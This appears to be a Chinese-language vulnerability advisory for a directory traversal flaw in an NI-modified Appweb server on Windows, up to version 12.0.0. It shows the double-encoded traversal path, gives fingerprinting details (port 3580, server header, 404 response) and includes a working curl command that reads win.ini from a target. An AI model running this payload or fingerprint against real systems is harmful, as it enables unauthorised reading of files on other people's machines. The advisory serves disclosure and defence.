NI 修改版 Appweb 服务器包含一个目录遍历漏洞,允许攻击者读取服务器上的任意文件。
URI 路径 /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini 将被转换为:
pathInfo cchar * "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/windows/win.ini” 0x000000010076f808 ——这是一个有效的 URI,并且 appweb 不会阻止此请求。然后该请求被传递给自定义处理程序,在此情况下会返回所请求的任何文件的内容。
由于受影响软件的性质,受影响的设备仅限 Microsoft Windows 系统。
观察到的最高易受攻击版本:12.0.0。
受影响设备可通过以下特征进行识别:
并非总是存在,但大多数情况下服务运行在 3580 端口,其他端口可能包括 8080 和 80。
服务器对 / 的响应
HTTP/1.1 404 Not Found
Server: Mbedthis-Appweb/2.5.0
Date: Thu, 11 Dec 2025 18:23:26 GMT
Connection: keep-alive
Keep-Alive: timeout=60000, max=100
Content-Type: text/html
Content-length: 126
<HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD>
<BODY><H2>Access Error: 404 -- Not Found</H2>
</BODY></HTML>
要利用此漏洞,可以使用以下命令:
curl http://<TARGET>:3580/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini
如果目标易受攻击,你将看到 win.ini 文件的内容。